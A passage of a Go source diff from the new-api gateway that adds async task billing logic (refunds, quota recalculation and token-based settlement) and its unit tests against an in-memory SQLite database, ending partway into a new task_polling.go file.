+// taskAdjustTokenQuota 调整任务的令牌额度，delta > 0 表示扣费，delta < 0 表示退还。
+// 需要通过 resolveTokenKey 运行时获取 key（不从 PrivateData 中读取）。
+func taskAdjustTokenQuota(ctx context.Context, task *model.Task, delta int) {
+	if task.PrivateData.TokenId <= 0 || delta == 0 {
+		return
+	}
+	tokenKey := resolveTokenKey(ctx, task.PrivateData.TokenId, task.TaskID)
+	if tokenKey == "" {
+		return
+	}
+	var err error
+	if delta > 0 {
+		err = model.DecreaseTokenQuota(task.PrivateData.TokenId, tokenKey, delta)
+	} else {
+		err = model.IncreaseTokenQuota(task.PrivateData.TokenId, tokenKey, -delta)
+	}
+	if err != nil {
+		logger.LogWarn(ctx, fmt.Sprintf("调整令牌额度失败 (delta=%d, task=%s): %s", delta, task.TaskID, err.Error()))
+	}
+}
+
+// taskBillingOther 从 task 的 BillingContext 构建日志 Other 字段。
+func taskBillingOther(task *model.Task) map[string]interface{} {
+	other := make(map[string]interface{})
+	if bc := task.PrivateData.BillingContext; bc != nil {
+		other["model_price"] = bc.ModelPrice
+		if bc.ModelRatio > 0 {
+			other["model_ratio"] = bc.ModelRatio
+		}
+		other["group_ratio"] = bc.GroupRatio
+		if len(bc.OtherRatios) > 0 {
+			for k, v := range bc.OtherRatios {
+				other[k] = v
+			}
+		}
+	}
+	props := task.Properties
+	if props.UpstreamModelName != "" && props.UpstreamModelName != props.OriginModelName {
+		other["is_model_mapped"] = true
+		other["upstream_model_name"] = props.UpstreamModelName
+	}
+	return other
+}
+
+// taskModelName 从 BillingContext 或 Properties 中获取模型名称。
+func taskModelName(task *model.Task) string {
+	if bc := task.PrivateData.BillingContext; bc != nil && bc.OriginModelName != "" {
+		return bc.OriginModelName
+	}
+	return task.Properties.OriginModelName
+}
+
+// RefundTaskQuota 统一的任务失败退款逻辑。
+// 当异步任务失败时，将预扣的 quota 退还给用户（支持钱包和订阅），并退还令牌额度。
+func RefundTaskQuota(ctx context.Context, task *model.Task, reason string) {
+	quota := task.Quota
+	if quota == 0 {
+		return
+	}
+
+	// 1. 退还资金来源（钱包或订阅）
+	if err := taskAdjustFunding(task, -quota); err != nil {
+		logger.LogWarn(ctx, fmt.Sprintf("退还资金来源失败 task %s: %s", task.TaskID, err.Error()))
+		return
+	}
+
+	// 2. 退还令牌额度
+	taskAdjustTokenQuota(ctx, task, -quota)
+
+	// 3. 记录日志
+	other := taskBillingOther(task)
+	other["task_id"] = task.TaskID
+	other["reason"] = reason
+	model.RecordTaskBillingLog(model.RecordTaskBillingLogParams{
+		UserId:    task.UserId,
+		LogType:   model.LogTypeRefund,
+		Content:   "",
+		ChannelId: task.ChannelId,
+		ModelName: taskModelName(task),
+		Quota:     quota,
+		TokenId:   task.PrivateData.TokenId,
+		Group:     task.Group,
+		Other:     other,
+	})
+}
+
+// RecalculateTaskQuota 通用的异步差额结算。
+// actualQuota 是任务完成后的实际应扣额度，与预扣额度 (task.Quota) 做差额结算。
+// reason 用于日志记录（例如 "token重算" 或 "adaptor调整"）。
+func RecalculateTaskQuota(ctx context.Context, task *model.Task, actualQuota int, reason string) {
+	if actualQuota <= 0 {
+		return
+	}
+	preConsumedQuota := task.Quota
+	quotaDelta := actualQuota - preConsumedQuota
+
+	if quotaDelta == 0 {
+		logger.LogInfo(ctx, fmt.Sprintf("任务 %s 预扣费准确（%s，%s）",
+			task.TaskID, logger.LogQuota(actualQuota), reason))
+		return
+	}
+
+	logger.LogInfo(ctx, fmt.Sprintf("任务 %s 差额结算：delta=%s（实际：%s，预扣：%s，%s）",
+		task.TaskID,
+		logger.LogQuota(quotaDelta),
+		logger.LogQuota(actualQuota),
+		logger.LogQuota(preConsumedQuota),
+		reason,
+	))
+
+	// 调整资金来源
+	if err := taskAdjustFunding(task, quotaDelta); err != nil {
+		logger.LogError(ctx, fmt.Sprintf("差额结算资金调整失败 task %s: %s", task.TaskID, err.Error()))
+		return
+	}
+
+	// 调整令牌额度
+	taskAdjustTokenQuota(ctx, task, quotaDelta)
+
+	task.Quota = actualQuota
+
+	var logType int
+	var logQuota int
+	if quotaDelta > 0 {
+		logType = model.LogTypeConsume
+		logQuota = quotaDelta
+		model.UpdateUserUsedQuotaAndRequestCount(task.UserId, quotaDelta)
+		model.UpdateChannelUsedQuota(task.ChannelId, quotaDelta)
+	} else {
+		logType = model.LogTypeRefund
+		logQuota = -quotaDelta
+	}
+	other := taskBillingOther(task)
+	other["task_id"] = task.TaskID
+	other["pre_consumed_quota"] = preConsumedQuota
+	other["actual_quota"] = actualQuota
+	model.RecordTaskBillingLog(model.RecordTaskBillingLogParams{
+		UserId:    task.UserId,
+		LogType:   logType,
+		Content:   reason,
+		ChannelId: task.ChannelId,
+		ModelName: taskModelName(task),
+		Quota:     logQuota,
+		TokenId:   task.PrivateData.TokenId,
+		Group:     task.Group,
+		Other:     other,
+	})
+}
+
+// RecalculateTaskQuotaByTokens 根据实际 token 消耗重新计费（异步差额结算）。
+// 当任务成功且返回了 totalTokens 时，根据模型倍率和分组倍率重新计算实际扣费额度，
+// 与预扣费的差额进行补扣或退还。支持钱包和订阅计费来源。
+func RecalculateTaskQuotaByTokens(ctx context.Context, task *model.Task, totalTokens int) {
+	if totalTokens <= 0 {
+		return
+	}
+
+	modelName := taskModelName(task)
+
+	// 获取模型价格和倍率
+	modelRatio, hasRatioSetting, _ := ratio_setting.GetModelRatio(modelName)
+	// 只有配置了倍率(非固定价格)时才按 token 重新计费
+	if !hasRatioSetting || modelRatio <= 0 {
+		return
+	}
+
+	// 获取用户和组的倍率信息
+	group := task.Group
+	if group == "" {
+		user, err := model.GetUserById(task.UserId, false)
+		if err == nil {
+			group = user.Group
+		}
+	}
+	if group == "" {
+		return
+	}
+
+	groupRatio := ratio_setting.GetGroupRatio(group)
+	userGroupRatio, hasUserGroupRatio := ratio_setting.GetGroupGroupRatio(group, group)
+
+	var finalGroupRatio float64
+	if hasUserGroupRatio {
+		finalGroupRatio = userGroupRatio
+	} else {
+		finalGroupRatio = groupRatio
+	}
+
+	// 计算 OtherRatios 乘积（视频折扣、时长等）
+	otherMultiplier := 1.0
+	if bc := task.PrivateData.BillingContext; bc != nil {
+		for _, r := range bc.OtherRatios {
+			if r != 1.0 && r > 0 {
+				otherMultiplier *= r
+			}
+		}
+	}
+
+	// 计算实际应扣费额度: totalTokens * modelRatio * groupRatio * otherMultiplier
+	actualQuota := int(float64(totalTokens) * modelRatio * finalGroupRatio * otherMultiplier)
+
+	reason := fmt.Sprintf("token重算：tokens=%d, modelRatio=%.2f, groupRatio=%.2f, otherMultiplier=%.4f", totalTokens, modelRatio, finalGroupRatio, otherMultiplier)
+	RecalculateTaskQuota(ctx, task, actualQuota, reason)
+}
diff --git a/new-api/service/task_billing_test.go b/new-api/service/task_billing_test.go
new file mode 100644
index 0000000..39cb8f1
--- /dev/null
+++ b/new-api/service/task_billing_test.go
@@ -0,0 +1,716 @@
+package service
+
+import (
+	"context"
+	"encoding/json"
+	"net/http"
+	"os"
+	"testing"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/model"
+	relaycommon "github.com/QuantumNous/new-api/relay/common"
+	"github.com/glebarez/sqlite"
+	"github.com/stretchr/testify/assert"
+	"github.com/stretchr/testify/require"
+	"gorm.io/gorm"
+)
+
+func TestMain(m *testing.M) {
+	db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{})
+	if err != nil {
+		panic("failed to open test db: " + err.Error())
+	}
+	sqlDB, err := db.DB()
+	if err != nil {
+		panic("failed to get sql.DB: " + err.Error())
+	}
+	sqlDB.SetMaxOpenConns(1)
+
+	model.DB = db
+	model.LOG_DB = db
+
+	common.UsingSQLite = true
+	common.RedisEnabled = false
+	common.BatchUpdateEnabled = false
+	common.LogConsumeEnabled = true
+
+	if err := db.AutoMigrate(
+		&model.Task{},
+		&model.User{},
+		&model.Token{},
+		&model.Log{},
+		&model.Channel{},
+		&model.TopUp{},
+		&model.UserSubscription{},
+	); err != nil {
+		panic("failed to migrate: " + err.Error())
+	}
+
+	os.Exit(m.Run())
+}
+
+// ---------------------------------------------------------------------------
+// Seed helpers
+// ---------------------------------------------------------------------------
+
+func truncate(t *testing.T) {
+	t.Helper()
+	t.Cleanup(func() {
+		model.DB.Exec("DELETE FROM tasks")
+		model.DB.Exec("DELETE FROM users")
+		model.DB.Exec("DELETE FROM tokens")
+		model.DB.Exec("DELETE FROM logs")
+		model.DB.Exec("DELETE FROM channels")
+		model.DB.Exec("DELETE FROM top_ups")
+		model.DB.Exec("DELETE FROM user_subscriptions")
+	})
+}
+
+func seedUser(t *testing.T, id int, quota int) {
+	t.Helper()
+	user := &model.User{Id: id, Username: "test_user", Quota: quota, Status: common.UserStatusEnabled}
+	require.NoError(t, model.DB.Create(user).Error)
+}
+
+func seedToken(t *testing.T, id int, userId int, key string, remainQuota int) {
+	t.Helper()
+	token := &model.Token{
+		Id:          id,
+		UserId:      userId,
+		Key:         key,
+		Name:        "test_token",
+		Status:      common.TokenStatusEnabled,
+		RemainQuota: remainQuota,
+		UsedQuota:   0,
+	}
+	require.NoError(t, model.DB.Create(token).Error)
+}
+
+func seedSubscription(t *testing.T, id int, userId int, amountTotal int64, amountUsed int64) {
+	t.Helper()
+	sub := &model.UserSubscription{
+		Id:          id,
+		UserId:      userId,
+		AmountTotal: amountTotal,
+		AmountUsed:  amountUsed,
+		Status:      "active",
+		StartTime:   time.Now().Unix(),
+		EndTime:     time.Now().Add(30 * 24 * time.Hour).Unix(),
+	}
+	require.NoError(t, model.DB.Create(sub).Error)
+}
+
+func seedChannel(t *testing.T, id int) {
+	t.Helper()
+	ch := &model.Channel{Id: id, Name: "test_channel", Key: "sk-test", Status: common.ChannelStatusEnabled}
+	require.NoError(t, model.DB.Create(ch).Error)
+}
+
+func makeTask(userId, channelId, quota, tokenId int, billingSource string, subscriptionId int) *model.Task {
+	return &model.Task{
+		TaskID:    "task_" + time.Now().Format("150405.000"),
+		UserId:    userId,
+		ChannelId: channelId,
+		Quota:     quota,
+		Status:    model.TaskStatus(model.TaskStatusInProgress),
+		Group:     "default",
+		Data:      json.RawMessage(`{}`),
+		CreatedAt: time.Now().Unix(),
+		UpdatedAt: time.Now().Unix(),
+		Properties: model.Properties{
+			OriginModelName: "test-model",
+		},
+		PrivateData: model.TaskPrivateData{
+			BillingSource:  billingSource,
+			SubscriptionId: subscriptionId,
+			TokenId:        tokenId,
+			BillingContext: &model.TaskBillingContext{
+				ModelPrice:      0.02,
+				GroupRatio:      1.0,
+				OriginModelName: "test-model",
+			},
+		},
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Read-back helpers
+// ---------------------------------------------------------------------------
+
+func getUserQuota(t *testing.T, id int) int {
+	t.Helper()
+	var user model.User
+	require.NoError(t, model.DB.Select("quota").Where("id = ?", id).First(&user).Error)
+	return user.Quota
+}
+
+func getTokenRemainQuota(t *testing.T, id int) int {
+	t.Helper()
+	var token model.Token
+	require.NoError(t, model.DB.Select("remain_quota").Where("id = ?", id).First(&token).Error)
+	return token.RemainQuota
+}
+
+func getTokenUsedQuota(t *testing.T, id int) int {
+	t.Helper()
+	var token model.Token
+	require.NoError(t, model.DB.Select("used_quota").Where("id = ?", id).First(&token).Error)
+	return token.UsedQuota
+}
+
+func getSubscriptionUsed(t *testing.T, id int) int64 {
+	t.Helper()
+	var sub model.UserSubscription
+	require.NoError(t, model.DB.Select("amount_used").Where("id = ?", id).First(&sub).Error)
+	return sub.AmountUsed
+}
+
+func getLastLog(t *testing.T) *model.Log {
+	t.Helper()
+	var log model.Log
+	err := model.LOG_DB.Order("id desc").First(&log).Error
+	if err != nil {
+		return nil
+	}
+	return &log
+}
+
+func countLogs(t *testing.T) int64 {
+	t.Helper()
+	var count int64
+	model.LOG_DB.Model(&model.Log{}).Count(&count)
+	return count
+}
+
+// ===========================================================================
+// RefundTaskQuota tests
+// ===========================================================================
+
+func TestRefundTaskQuota_Wallet(t *testing.T) {
+	truncate(t)
+	ctx := context.Background()
+
+	const userID, tokenID, channelID = 1, 1, 1
+	const initQuota, preConsumed = 10000, 3000
+	const tokenRemain = 5000
+
+	seedUser(t, userID, initQuota)
+	seedToken(t, tokenID, userID, "sk-test-key", tokenRemain)
+	seedChannel(t, channelID)
+
+	task := makeTask(userID, channelID, preConsumed, tokenID, BillingSourceWallet, 0)
+
+	RefundTaskQuota(ctx, task, "task failed: upstream error")
+
+	// User quota should increase by preConsumed
+	assert.Equal(t, initQuota+preConsumed, getUserQuota(t, userID))
+
+	// Token remain_quota should increase, used_quota should decrease
+	assert.Equal(t, tokenRemain+preConsumed, getTokenRemainQuota(t, tokenID))
+	assert.Equal(t, -preConsumed, getTokenUsedQuota(t, tokenID))
+
+	// A refund log should be created
+	log := getLastLog(t)
+	require.NotNil(t, log)
+	assert.Equal(t, model.LogTypeRefund, log.Type)
+	assert.Equal(t, preConsumed, log.Quota)
+	assert.Equal(t, "test-model", log.ModelName)
+}
+
+func TestRefundTaskQuota_Subscription(t *testing.T) {
+	truncate(t)
+	ctx := context.Background()
+
+	const userID, tokenID, channelID, subID = 2, 2, 2, 1
+	const preConsumed = 2000
+	const subTotal, subUsed int64 = 100000, 50000
+	const tokenRemain = 8000
+
+	seedUser(t, userID, 0)
+	seedToken(t, tokenID, userID, "sk-sub-key", tokenRemain)
+	seedChannel(t, channelID)
+	seedSubscription(t, subID, userID, subTotal, subUsed)
+
+	task := makeTask(userID, channelID, preConsumed, tokenID, BillingSourceSubscription, subID)
+
+	RefundTaskQuota(ctx, task, "subscription task failed")
+
+	// Subscription used should decrease by preConsumed
+	assert.Equal(t, subUsed-int64(preConsumed), getSubscriptionUsed(t, subID))
+
+	// Token should also be refunded
+	assert.Equal(t, tokenRemain+preConsumed, getTokenRemainQuota(t, tokenID))
+
+	log := getLastLog(t)
+	require.NotNil(t, log)
+	assert.Equal(t, model.LogTypeRefund, log.Type)
+}
+
+func TestRefundTaskQuota_ZeroQuota(t *testing.T) {
+	truncate(t)
+	ctx := context.Background()
+
+	const userID = 3
+	seedUser(t, userID, 5000)
+
+	task := makeTask(userID, 0, 0, 0, BillingSourceWallet, 0)
+
+	RefundTaskQuota(ctx, task, "zero quota task")
+
+	// No change to user quota
+	assert.Equal(t, 5000, getUserQuota(t, userID))
+
+	// No log created
+	assert.Equal(t, int64(0), countLogs(t))
+}
+
+func TestRefundTaskQuota_NoToken(t *testing.T) {
+	truncate(t)
+	ctx := context.Background()
+
+	const userID, channelID = 4, 4
+	const initQuota, preConsumed = 10000, 1500
+
+	seedUser(t, userID, initQuota)
+	seedChannel(t, channelID)
+
+	task := makeTask(userID, channelID, preConsumed, 0, BillingSourceWallet, 0) // TokenId=0
+
+	RefundTaskQuota(ctx, task, "no token task failed")
+
+	// User quota refunded
+	assert.Equal(t, initQuota+preConsumed, getUserQuota(t, userID))
+
+	// Log created
+	log := getLastLog(t)
+	require.NotNil(t, log)
+	assert.Equal(t, model.LogTypeRefund, log.Type)
+}
+
+// ===========================================================================
+// RecalculateTaskQuota tests
+// ===========================================================================
+
+func TestRecalculate_PositiveDelta(t *testing.T) {
+	truncate(t)
+	ctx := context.Background()
+
+	const userID, tokenID, channelID = 10, 10, 10
+	const initQuota, preConsumed = 10000, 2000
+	const actualQuota = 3000 // under-charged by 1000
+	const tokenRemain = 5000
+
+	seedUser(t, userID, initQuota)
+	seedToken(t, tokenID, userID, "sk-recalc-pos", tokenRemain)
+	seedChannel(t, channelID)
+
+	task := makeTask(userID, channelID, preConsumed, tokenID, BillingSourceWallet, 0)
+
+	RecalculateTaskQuota(ctx, task, actualQuota, "adaptor adjustment")
+
+	// User quota should decrease by the delta (1000 additional charge)
+	assert.Equal(t, initQuota-(actualQuota-preConsumed), getUserQuota(t, userID))
+
+	// Token should also be charged the delta
+	assert.Equal(t, tokenRemain-(actualQuota-preConsumed), getTokenRemainQuota(t, tokenID))
+
+	// task.Quota should be updated to actualQuota
+	assert.Equal(t, actualQuota, task.Quota)
+
+	// Log type should be Consume (additional charge)
+	log := getLastLog(t)
+	require.NotNil(t, log)
+	assert.Equal(t, model.LogTypeConsume, log.Type)
+	assert.Equal(t, actualQuota-preConsumed, log.Quota)
+}
+
+func TestRecalculate_NegativeDelta(t *testing.T) {
+	truncate(t)
+	ctx := context.Background()
+
+	const userID, tokenID, channelID = 11, 11, 11
+	const initQuota, preConsumed = 10000, 5000
+	const actualQuota = 3000 // over-charged by 2000
+	const tokenRemain = 5000
+
+	seedUser(t, userID, initQuota)
+	seedToken(t, tokenID, userID, "sk-recalc-neg", tokenRemain)
+	seedChannel(t, channelID)
+
+	task := makeTask(userID, channelID, preConsumed, tokenID, BillingSourceWallet, 0)
+
+	RecalculateTaskQuota(ctx, task, actualQuota, "adaptor adjustment")
+
+	// User quota should increase by abs(delta) = 2000 (refund overpayment)
+	assert.Equal(t, initQuota+(preConsumed-actualQuota), getUserQuota(t, userID))
+
+	// Token should be refunded the difference
+	assert.Equal(t, tokenRemain+(preConsumed-actualQuota), getTokenRemainQuota(t, tokenID))
+
+	// task.Quota updated
+	assert.Equal(t, actualQuota, task.Quota)
+
+	// Log type should be Refund
+	log := getLastLog(t)
+	require.NotNil(t, log)
+	assert.Equal(t, model.LogTypeRefund, log.Type)
+	assert.Equal(t, preConsumed-actualQuota, log.Quota)
+}
+
+func TestRecalculate_ZeroDelta(t *testing.T) {
+	truncate(t)
+	ctx := context.Background()
+
+	const userID = 12
+	const initQuota, preConsumed = 10000, 3000
+
+	seedUser(t, userID, initQuota)
+
+	task := makeTask(userID, 0, preConsumed, 0, BillingSourceWallet, 0)
+
+	RecalculateTaskQuota(ctx, task, preConsumed, "exact match")
+
+	// No change to user quota
+	assert.Equal(t, initQuota, getUserQuota(t, userID))
+
+	// No log created (delta is zero)
+	assert.Equal(t, int64(0), countLogs(t))
+}
+
+func TestRecalculate_ActualQuotaZero(t *testing.T) {
+	truncate(t)
+	ctx := context.Background()
+
+	const userID = 13
+	const initQuota = 10000
+
+	seedUser(t, userID, initQuota)
+
+	task := makeTask(userID, 0, 5000, 0, BillingSourceWallet, 0)
+
+	RecalculateTaskQuota(ctx, task, 0, "zero actual")
+
+	// No change (early return)
+	assert.Equal(t, initQuota, getUserQuota(t, userID))
+	assert.Equal(t, int64(0), countLogs(t))
+}
+
+func TestRecalculate_Subscription_NegativeDelta(t *testing.T) {
+	truncate(t)
+	ctx := context.Background()
+
+	const userID, tokenID, channelID, subID = 14, 14, 14, 2
+	const preConsumed = 5000
+	const actualQuota = 2000 // over-charged by 3000
+	const subTotal, subUsed int64 = 100000, 50000
+	const tokenRemain = 8000
+
+	seedUser(t, userID, 0)
+	seedToken(t, tokenID, userID, "sk-sub-recalc", tokenRemain)
+	seedChannel(t, channelID)
+	seedSubscription(t, subID, userID, subTotal, subUsed)
+
+	task := makeTask(userID, channelID, preConsumed, tokenID, BillingSourceSubscription, subID)
+
+	RecalculateTaskQuota(ctx, task, actualQuota, "subscription over-charge")
+
+	// Subscription used should decrease by delta (refund 3000)
+	assert.Equal(t, subUsed-int64(preConsumed-actualQuota), getSubscriptionUsed(t, subID))
+
+	// Token refunded
+	assert.Equal(t, tokenRemain+(preConsumed-actualQuota), getTokenRemainQuota(t, tokenID))
+
+	assert.Equal(t, actualQuota, task.Quota)
+
+	log := getLastLog(t)
+	require.NotNil(t, log)
+	assert.Equal(t, model.LogTypeRefund, log.Type)
+}
+
+// ===========================================================================
+// CAS + Billing integration tests
+// Simulates the flow in updateVideoSingleTask (service/task_polling.go)
+// ===========================================================================
+
+// simulatePollBilling reproduces the CAS + billing logic from updateVideoSingleTask.
+// It takes a persisted task (already in DB), applies the new status, and performs
+// the conditional update + billing exactly as the polling loop does.
+func simulatePollBilling(ctx context.Context, task *model.Task, newStatus model.TaskStatus, actualQuota int) {
+	snap := task.Snapshot()
+
+	shouldRefund := false
+	shouldSettle := false
+	quota := task.Quota
+
+	task.Status = newStatus
+	switch string(newStatus) {
+	case model.TaskStatusSuccess:
+		task.Progress = "100%"
+		task.FinishTime = 9999
+		shouldSettle = true
+	case model.TaskStatusFailure:
+		task.Progress = "100%"
+		task.FinishTime = 9999
+		task.FailReason = "upstream error"
+		if quota != 0 {
+			shouldRefund = true
+		}
+	default:
+		task.Progress = "50%"
+	}
+
+	isDone := task.Status == model.TaskStatus(model.TaskStatusSuccess) || task.Status == model.TaskStatus(model.TaskStatusFailure)
+	if isDone && snap.Status != task.Status {
+		won, err := task.UpdateWithStatus(snap.Status)
+		if err != nil {
+			shouldRefund = false
+			shouldSettle = false
+		} else if !won {
+			shouldRefund = false
+			shouldSettle = false
+		}
+	} else if !snap.Equal(task.Snapshot()) {
+		_, _ = task.UpdateWithStatus(snap.Status)
+	}
+
+	if shouldSettle && actualQuota > 0 {
+		RecalculateTaskQuota(ctx, task, actualQuota, "test settle")
+	}
+	if shouldRefund {
+		RefundTaskQuota(ctx, task, task.FailReason)
+	}
+}
+
+func TestCASGuardedRefund_Win(t *testing.T) {
+	truncate(t)
+	ctx := context.Background()
+
+	const userID, tokenID, channelID = 20, 20, 20
+	const initQuota, preConsumed = 10000, 4000
+	const tokenRemain = 6000
+
+	seedUser(t, userID, initQuota)
+	seedToken(t, tokenID, userID, "sk-cas-refund-win", tokenRemain)
+	seedChannel(t, channelID)
+
+	task := makeTask(userID, channelID, preConsumed, tokenID, BillingSourceWallet, 0)
+	task.Status = model.TaskStatus(model.TaskStatusInProgress)
+	require.NoError(t, model.DB.Create(task).Error)
+
+	simulatePollBilling(ctx, task, model.TaskStatus(model.TaskStatusFailure), 0)
+
+	// CAS wins: task in DB should now be FAILURE
+	var reloaded model.Task
+	require.NoError(t, model.DB.First(&reloaded, task.ID).Error)
+	assert.EqualValues(t, model.TaskStatusFailure, reloaded.Status)
+
+	// Refund should have happened
+	assert.Equal(t, initQuota+preConsumed, getUserQuota(t, userID))
+	assert.Equal(t, tokenRemain+preConsumed, getTokenRemainQuota(t, tokenID))
+
+	log := getLastLog(t)
+	require.NotNil(t, log)
+	assert.Equal(t, model.LogTypeRefund, log.Type)
+}
+
+func TestCASGuardedRefund_Lose(t *testing.T) {
+	truncate(t)
+	ctx := context.Background()
+
+	const userID, tokenID, channelID = 21, 21, 21
+	const initQuota, preConsumed = 10000, 4000
+	const tokenRemain = 6000
+
+	seedUser(t, userID, initQuota)
+	seedToken(t, tokenID, userID, "sk-cas-refund-lose", tokenRemain)
+	seedChannel(t, channelID)
+
+	// Create task with IN_PROGRESS in DB
+	task := makeTask(userID, channelID, preConsumed, tokenID, BillingSourceWallet, 0)
+	task.Status = model.TaskStatus(model.TaskStatusInProgress)
+	require.NoError(t, model.DB.Create(task).Error)
+
+	// Simulate another process already transitioning to FAILURE
+	model.DB.Model(&model.Task{}).Where("id = ?", task.ID).Update("status", model.TaskStatusFailure)
+
+	// Our process still has the old in-memory state (IN_PROGRESS) and tries to transition
+	// task.Status is still IN_PROGRESS in the snapshot
+	simulatePollBilling(ctx, task, model.TaskStatus(model.TaskStatusFailure), 0)
+
+	// CAS lost: user quota should NOT change (no double refund)
+	assert.Equal(t, initQuota, getUserQuota(t, userID))
+	assert.Equal(t, tokenRemain, getTokenRemainQuota(t, tokenID))
+
+	// No billing log should be created
+	assert.Equal(t, int64(0), countLogs(t))
+}
+
+func TestCASGuardedSettle_Win(t *testing.T) {
+	truncate(t)
+	ctx := context.Background()
+
+	const userID, tokenID, channelID = 22, 22, 22
+	const initQuota, preConsumed = 10000, 5000
+	const actualQuota = 3000 // over-charged, should get partial refund
+	const tokenRemain = 8000
+
+	seedUser(t, userID, initQuota)
+	seedToken(t, tokenID, userID, "sk-cas-settle-win", tokenRemain)
+	seedChannel(t, channelID)
+
+	task := makeTask(userID, channelID, preConsumed, tokenID, BillingSourceWallet, 0)
+	task.Status = model.TaskStatus(model.TaskStatusInProgress)
+	require.NoError(t, model.DB.Create(task).Error)
+
+	simulatePollBilling(ctx, task, model.TaskStatus(model.TaskStatusSuccess), actualQuota)
+
+	// CAS wins: task should be SUCCESS
+	var reloaded model.Task
+	require.NoError(t, model.DB.First(&reloaded, task.ID).Error)
+	assert.EqualValues(t, model.TaskStatusSuccess, reloaded.Status)
+
+	// Settlement should refund the over-charge (5000 - 3000 = 2000 back to user)
+	assert.Equal(t, initQuota+(preConsumed-actualQuota), getUserQuota(t, userID))
+	assert.Equal(t, tokenRemain+(preConsumed-actualQuota), getTokenRemainQuota(t, tokenID))
+
+	// task.Quota should be updated to actualQuota
+	assert.Equal(t, actualQuota, task.Quota)
+}
+
+func TestNonTerminalUpdate_NoBilling(t *testing.T) {
+	truncate(t)
+	ctx := context.Background()
+
+	const userID, channelID = 23, 23
+	const initQuota, preConsumed = 10000, 3000
+
+	seedUser(t, userID, initQuota)
+	seedChannel(t, channelID)
+
+	task := makeTask(userID, channelID, preConsumed, 0, BillingSourceWallet, 0)
+	task.Status = model.TaskStatus(model.TaskStatusInProgress)
+	task.Progress = "20%"
+	require.NoError(t, model.DB.Create(task).Error)
+
+	// Simulate a non-terminal poll update (still IN_PROGRESS, progress changed)
+	simulatePollBilling(ctx, task, model.TaskStatus(model.TaskStatusInProgress), 0)
+
+	// User quota should NOT change
+	assert.Equal(t, initQuota, getUserQuota(t, userID))
+
+	// No billing log
+	assert.Equal(t, int64(0), countLogs(t))
+
+	// Task progress should be updated in DB
+	var reloaded model.Task
+	require.NoError(t, model.DB.First(&reloaded, task.ID).Error)
+	assert.Equal(t, "50%", reloaded.Progress)
+}
+
+// ===========================================================================
+// Mock adaptor for settleTaskBillingOnComplete tests
+// ===========================================================================
+
+type mockAdaptor struct {
+	adjustReturn int
+}
+
+func (m *mockAdaptor) Init(_ *relaycommon.RelayInfo) {}
+func (m *mockAdaptor) FetchTask(string, string, map[string]any, string) (*http.Response, error) {
+	return nil, nil
+}
+func (m *mockAdaptor) ParseTaskResult([]byte) (*relaycommon.TaskInfo, error) { return nil, nil }
+func (m *mockAdaptor) AdjustBillingOnComplete(_ *model.Task, _ *relaycommon.TaskInfo) int {
+	return m.adjustReturn
+}
+
+// ===========================================================================
+// PerCallBilling tests — settleTaskBillingOnComplete
+// ===========================================================================
+
+func TestSettle_PerCallBilling_SkipsAdaptorAdjust(t *testing.T) {
+	truncate(t)
+	ctx := context.Background()
+
+	const userID, tokenID, channelID = 30, 30, 30
+	const initQuota, preConsumed = 10000, 5000
+	const tokenRemain = 8000
+
+	seedUser(t, userID, initQuota)
+	seedToken(t, tokenID, userID, "sk-percall-adaptor", tokenRemain)
+	seedChannel(t, channelID)
+
+	task := makeTask(userID, channelID, preConsumed, tokenID, BillingSourceWallet, 0)
+	task.PrivateData.BillingContext.PerCallBilling = true
+
+	adaptor := &mockAdaptor{adjustReturn: 2000}
+	taskResult := &relaycommon.TaskInfo{Status: model.TaskStatusSuccess}
+
+	settleTaskBillingOnComplete(ctx, adaptor, task, taskResult)
+
+	// Per-call: no adjustment despite adaptor returning 2000
+	assert.Equal(t, initQuota, getUserQuota(t, userID))
+	assert.Equal(t, tokenRemain, getTokenRemainQuota(t, tokenID))
+	assert.Equal(t, preConsumed, task.Quota)
+	assert.Equal(t, int64(0), countLogs(t))
+}
+
+func TestSettle_PerCallBilling_SkipsTotalTokens(t *testing.T) {
+	truncate(t)
+	ctx := context.Background()
+
+	const userID, tokenID, channelID = 31, 31, 31
+	const initQuota, preConsumed = 10000, 4000
+	const tokenRemain = 7000
+
+	seedUser(t, userID, initQuota)
+	seedToken(t, tokenID, userID, "sk-percall-tokens", tokenRemain)
+	seedChannel(t, channelID)
+
+	task := makeTask(userID, channelID, preConsumed, tokenID, BillingSourceWallet, 0)
+	task.PrivateData.BillingContext.PerCallBilling = true
+
+	adaptor := &mockAdaptor{adjustReturn: 0}
+	taskResult := &relaycommon.TaskInfo{Status: model.TaskStatusSuccess, TotalTokens: 9999}
+
+	settleTaskBillingOnComplete(ctx, adaptor, task, taskResult)
+
+	// Per-call: no recalculation by tokens
+	assert.Equal(t, initQuota, getUserQuota(t, userID))
+	assert.Equal(t, tokenRemain, getTokenRemainQuota(t, tokenID))
+	assert.Equal(t, preConsumed, task.Quota)
+	assert.Equal(t, int64(0), countLogs(t))
+}
+
+func TestSettle_NonPerCall_AdaptorAdjustWorks(t *testing.T) {
+	truncate(t)
+	ctx := context.Background()
+
+	const userID, tokenID, channelID = 32, 32, 32
+	const initQuota, preConsumed = 10000, 5000
+	const adaptorQuota = 3000
+	const tokenRemain = 8000
+
+	seedUser(t, userID, initQuota)
+	seedToken(t, tokenID, userID, "sk-nonpercall-adj", tokenRemain)
+	seedChannel(t, channelID)
+
+	task := makeTask(userID, channelID, preConsumed, tokenID, BillingSourceWallet, 0)
+	// PerCallBilling defaults to false
+
+	adaptor := &mockAdaptor{adjustReturn: adaptorQuota}
+	taskResult := &relaycommon.TaskInfo{Status: model.TaskStatusSuccess}
+
+	settleTaskBillingOnComplete(ctx, adaptor, task, taskResult)
+
+	// Non-per-call: adaptor adjustment applies (refund 2000)
+	assert.Equal(t, initQuota+(preConsumed-adaptorQuota), getUserQuota(t, userID))
+	assert.Equal(t, tokenRemain+(preConsumed-adaptorQuota), getTokenRemainQuota(t, tokenID))
+	assert.Equal(t, adaptorQuota, task.Quota)
+
+	log := getLastLog(t)
+	require.NotNil(t, log)
+	assert.Equal(t, model.LogTypeRefund, log.Type)
+}
diff --git a/new-api/service/task_polling.go b/new-api/service/task_polling.go
new file mode 100644
index 0000000..dc85e57
--- /dev/null
+++ b/new-api/service/task_polling.go
@@ -0,0 +1,560 @@
+package service
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"io"
+	"net/http"
+	"sort"
+	"strings"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
